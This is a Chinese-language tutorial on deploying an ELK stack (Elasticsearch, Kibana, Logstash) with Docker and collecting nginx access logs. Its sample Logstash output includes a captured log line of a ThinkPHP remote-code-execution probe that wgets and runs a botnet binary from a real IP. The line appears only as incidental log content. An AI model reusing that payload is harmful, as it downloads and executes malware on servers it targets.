docker 快速部署elk
docker部署ELK
環境 centos7
1 配置阿里雲加速器
- 登入阿里雲控制檯
- 進入容器服務
- 進入映象加速器,按照說明操作
2 pull image
- 獲取ES映象:docker pull elasticsearch:latest
- 獲取kibana映象:docker pull kibana:latest
- 獲取logstash映象:docker pull logstash:latest
3 啟動Elasticsearch
-
官方映象裡面ES的配置檔案儲存在/usr/share/elasticsearch/config
-
資料檔案目錄/usr/share/elasticsearch/data
如果需要可以在啟動容器的時候的時候使用 -v引數掛載到宿主機
示例不進行掛載
docker run --name elasticsearch -v -p 9200:9200 -d elasticsearch
-
啟動後在瀏覽器訪問ip:9200,返回如下則證明啟動正常
{ "name" : "VDw5UKv", "cluster_name" : "elasticsearch", "cluster_uuid" : "DNTJCXjpSNOrS6rBSJtYXw", "version" : { "number" : "5.6.12", "build_hash" : "cfe3d9f", "build_date" : "2018-09-10T20:12:43.732Z", "build_snapshot" : false, "lucene_version" : "6.6.1" }, "tagline" : "You Know, for Search" }
備註:es預設jvm使用記憶體是2G,若機器記憶體不足,可以修改配置檔案
find /var/lib/docker/ -name jvm.options /var/lib/docker/overlay2/d32d0371ed2cb37d660bd8acf0f2407735c4a1c1a09f017e053068b29ddd40d4/diff/etc/elasticsearch/jvm.options vim /var/lib/docker/overlay2/d32d0371ed2cb37d660bd8acf0f2407735c4a1c1a09f017e053068b29ddd40d4/diff/etc/elasticsearch/jvm.options 修改 -Xms2g -Xmx2g 為 -Xms1g -Xmx1g
3 啟動kibana
Kibana作為ES操作的UI,需要跟ES容器通訊,所以這裡要將ES的容器link一下,對外提供5601埠做頁面互動。
docker run --name kibana --link elasticsearch:elasticsearch -p 5601:5601 -d kibana
器啟動後用瀏覽器訪問5601埠,可以看到kibana頁面.
但是現在es中沒有索引,所以沒有資料
4 啟動logstash
Logstash主要作用是收集日誌,這個元件有很多外掛,可以支援大部分日誌整合方式,如tcp、udp、jdbc、檔案、佇列等,他的配置非常簡單,啟動方式也很簡單,這裡以nginx的訪問日誌為例,我們配置logstash讀取nginx的access.log,然後把日誌轉發到Elasticsearch。
啟動logstash前需要配置logstash,採集日誌、輸出元件ip等資訊
參考其他部落格教程,配置檔案在容器路徑為/usr/share/logstash/config,但是經自測發現並無此config,所以從https://artifacts.elastic.co/downloads/logstash/logstash-7.0.0.tar.gz下載logstash安裝包,並解壓後獲得config目錄下所有檔案
-
複製config資料夾到/root/logstash/config
-
建立採集日誌的config
假設採集nginx的日誌檔案
nginx的日誌檔案預設在/var/log/nginx/access.log
建立/root/logstash/config/nginx.conf
## nginx.conf input { file { # 指定一個檔案作為輸入源 path => "/var/log/nginx/access.log" # 指定檔案的路徑 start_position => "beginning" # 指定何時開始收集 type => "nginx" # 定義日誌型別,可自定義 } } filter { # 配置過濾器 grok { match => { "message" => "%{IPORHOST:http_host} %{IPORHOST:clientip} - %{USERNAME:remote_user} \[%{HTTPDATE:timestamp}\] \"(?:%{WORD:http_verb} %{NOTSPACE:http_request}(?: HTTP/%{NUMBER:http_version})?|%{DATA:raw_http_request})\" %{NUMBER:response} (?:%{NUMBER:bytes_read}|-) %{QS:referrer} %{QS:agent} %{QS:xforwardedfor} %{NUMBER:request_time:float}"} # 定義日誌的輸出格式 } geoip { source => "clientip" } } output { stdout { codec => rubydebug } elasticsearch { hosts => ["ip:9200"] index => "logstash-nginx-%{+YYYY.MM.dd}" 指定索引,在kibana中需要根據此索引進行查詢 } }
-
啟動logstash
因為採集的日誌是/var/log/nginx/access.log,所以需要將此路徑對映到容器
配置檔案的路徑也要對映到容器, /root/logstash/config/ --> /usr/share/logstash/config/
docker run -itd --name=logstash -v /var/log/nginx/access.log:/var/log/nginx/access.log -v /root/logstash/config/:/usr/share/logstash/config docker.io/logstash -f /usr/share/logstash/config/nginx.conf
-f 指定配置檔案
若是要採集多個檔案,可以建立多個.conf,將所有conf放到同一目錄,-f 指定這個目錄即可
啟動後,呼叫幾次nginx,會有如下日誌輸出,證明採集成功
{ "path" => "/var/log/nginx/access.log", "@timestamp" => 2021-10-23T08:18:26.907Z, "@version" => "1", "host" => "a1488190ee70", "message" => "89.248.164.165 - - [23/Oct/2021:16:18:26 +0800] \"GET http://www.baidu.com/cache/global/img/gs.gif HTTP/1.1\" 404 3650 \"-\" \"Mozilla\" \"-\"", "type" => "nginx", "tags" => [ [0] "_grokparsefailure", [1] "_geoip_lookup_failure" ] } { "path" => "/var/log/nginx/access.log", "@timestamp" => 2021-10-23T08:27:34.089Z, "@version" => "1", "host" => "a1488190ee70", "message" => "177.149.164.24 - - [23/Oct/2021:16:27:33 +0800] \"GET /index.php?s=/index/\\x09hink\\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://45.14.226.120/notabotnet/notabotnet.x86 -O /tmp/.notabotnet; chmod 777 /tmp/.notabotnet; /tmp/.notabotnet ThinkphpRep' HTTP/1.1\" 400 157 \"-\" \"Tsunami/2.0\" \"-\"", "type" => "nginx", "tags" => [ [0] "_grokparsefailure", [1] "_geoip_lookup_failure" ] }
5 驗證
登入kibana,點選management
-
建立索引,填寫的索引是會在後臺校驗的,若無此索引則不能建立,在logstash中nginx.conf中配置的index即等同於這個索引。
示例中配置index是logstash-nginx-%{+YYYY.MM.dd},此處建立索引logstash-*即可匹配所有logstash-開頭的索引。
-
建立索引成功後,點選discover即可檢視到日誌